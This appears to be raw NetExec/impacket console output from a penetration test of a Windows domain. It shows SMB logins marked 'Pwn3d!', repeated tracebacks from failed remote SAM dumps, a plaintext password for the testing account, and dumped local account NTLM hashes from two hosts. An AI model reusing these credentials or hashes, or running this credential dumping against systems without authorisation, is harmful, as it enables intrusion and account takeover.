│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020055 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020090 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT02020002 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT02040013 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT02020002 [*] Dumping SAM hashes
ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020067 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT02020002
rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
SMB [Link] 445 OXODT020017 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT02020002
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXODT02020002
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXODT02020002
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:b0a696fac99e911923fbc419c6c
5[Link]
SMB [Link] 445 OXODT02020002 [+] Added 4 SAM hashes to the
database
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020067 [*] Dumping SAM hashes


SMB [Link] 445 OXOLT020067
rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
SMB [Link] 445 OXOLT020067
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020067


DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOLT020067
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXOLT020067 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 NONE [*] OS 1.00 (name:) (domain:)
(signing:False) (SMBv1:True)
SMB [Link] 445 NONE [+] \oxxo_pentest:p8Z49-#MX6?
ki@ (Guest)
SMB [Link] 445 OXOLT020077 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXOLT020077) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT031611 [*] Windows 11 Build 22621 x64
(name:OXODT031611) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020029 [*] Windows 10.0 Build 26100
x64 (name:OXOLT020029) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020077 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT031611 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOLT020029 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020084 [*] Windows 11 Build 22621 x64


(name:OXOLT020084) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020075 [*] Windows 11 Build 22621 x64
(name:OXOLT020075) (domain:[Link]) (signing:True) (SMBv1:False)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

